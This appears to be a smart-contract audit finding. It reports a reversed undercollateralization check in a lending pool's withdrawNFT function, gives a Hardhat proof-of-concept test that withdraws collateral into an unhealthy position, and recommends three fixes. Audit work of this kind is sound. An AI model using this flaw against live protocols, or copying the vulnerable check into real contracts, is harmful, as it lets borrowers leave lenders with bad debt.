Description
The LendingPool::withdrawNFT
function incorrectly calculates whether a withdrawal would leave the user undercollateralized by comparing raw collateral value minus NFT value against debt multiplied by liquidation threshold. This reverses the required relationship where remaining collateral * liquidation threshold should be >= debt. The current implementation allows users to withdraw NFTs even when their remaining collateral value (after applying liquidation threshold) becomes insufficient to cover their debt.
Proof of Concept
Relevant code snippet:
function withdrawNFT(uint256 tokenId) external {
if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
}
Test case to demonstrate vulnerability:
In LendingPool.test.js
, add this test and run npx hardhat test --grep "allows withdrawal that creates undercollateralized position"
describe("PoC", function () {
it("allows withdrawal that creates undercollateralized position", async function () {
await raacHousePrices.setHousePrice(2, ethers.parseEther("100"));
await token
.connect(user1)
.approve(raacNFT.target, ethers.parseEther("100"));
await raacNFT.connect(user1).mint(2, ethers.parseEther("100"));
await raacNFT.connect(user1).approve(lendingPool.target, 1);
await raacNFT.connect(user1).approve(lendingPool.target, 2);
await lendingPool.connect(user1).depositNFT(1);
await lendingPool.connect(user1).depositNFT(2);
await lendingPool.connect(user1).borrow(ethers.parseEther("100"));
await expect(lendingPool.connect(user1).withdrawNFT(1)).to.not.be.reverted;
const healthFactor = await lendingPool.calculateHealthFactor(user1.address);
expect(healthFactor).to.be.lt(
await lendingPool.healthFactorLiquidationThreshold()
);
});
});
Impact
High severity. This allows users to withdraw collateral while maintaining debt, creating undercollateralized positions that cannot be liquidated through normal mechanisms. This puts the protocol at risk of accumulating bad debt when borrowers default on these undercollateralized loans.
Recommendation
Option 1: Fix collateral check formula
- if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
+ if ((collateralValue - nftValue).percentMul(liquidationThreshold) < userDebt) {
Option 2: Add explicit collateralization ratio check
uint256 requiredCollateral = userDebt.percentDiv(liquidationThreshold);
if ((collateralValue - nftValue) < requiredCollateral) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}
Option 3: Use health factor directly
uint256 newCollateralValue = collateralValue - nftValue;
uint256 newHealthFactor = (newCollateralValue.percentMul(liquidationThreshold)).rayDiv(userDebt);
if (newHealthFactor < healthFactorLiquidationThreshold) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}